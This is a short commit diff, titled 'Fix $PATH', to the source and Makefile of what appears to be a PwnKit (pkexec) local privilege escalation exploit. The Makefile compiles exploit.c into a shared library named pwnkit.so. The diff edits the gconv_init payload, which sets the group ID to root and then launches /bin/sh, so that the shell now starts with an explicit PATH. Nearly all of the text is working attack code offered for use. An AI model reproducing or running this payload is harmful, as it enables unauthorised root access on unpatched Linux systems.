Fix $PATH

Makefile

@@ -6,7 +6,7 @@ CC_FLAGS ?=
 
 .PHONY: all debug
 all: 
-	gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-soname,libservice.so -Wl,-e,main -fPIC
+	gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC
 
 debug: CC_FLAGS:=-g -O0 -v ${CC_FLAGS}
 debug: all

src/exploit.c

@@ -23,7 +23,11 @@ void gconv_init() {
 	setgid(0);
 	setegid(0);
 	char *shellArgv[] = {"sh", NULL};
-	execv("/bin/sh", shellArgv);
+	char *env[] = {
+		"PATH=/bin:/usr/bin:/sbin:/usr/sbin",
+		NULL
+	};
+	execve("/bin/sh", shellArgv, env);
 }
 
 void setup(char *argv[]) {